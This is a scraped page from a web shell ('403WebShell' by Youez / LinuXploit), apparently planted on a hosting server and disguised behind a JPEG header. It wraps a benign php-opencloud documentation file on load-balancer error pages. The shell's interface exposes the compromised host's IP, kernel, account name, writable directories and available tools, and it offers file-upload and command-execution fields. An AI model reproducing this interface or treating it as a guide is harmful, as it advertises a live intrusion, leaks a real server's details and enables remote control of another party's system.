����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.24.158
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/load-balancer/errors.rst
Error Pages
===========

.. include:: lb-setup.sample.rst

An error page is the html file that is shown to the end user when an error in
the service has been thrown. By default every virtual server is provided with
the default error file. It is also possible to set a custom error page for a
load balancer.


View Error Page Content
-----------------------

.. code-block:: php

    $errorPage = $loadBalancer->errorPage();
    $errorPageContent = $errorPage->content;

    /** @var $errorPageContent string **/

In the example above the value of ``$errorPageContent`` is the HTML for
that page. This could either be the HTML of the default error page or of
your custom error page.


Set Custom Error Page
---------------------

.. code-block:: php

  $errorPage = $loadBalancer->errorPage();
  $errorPage->update(array(
      'content' => '<HTML content of custom error page>'
  ));


Delete Custom Error Page
------------------------

.. code-block:: php

  $errorPage = $loadBalancer->errorPage();
  $errorPage->delete();

Youez - 2016 - github.com/yon3zu
LinuXploit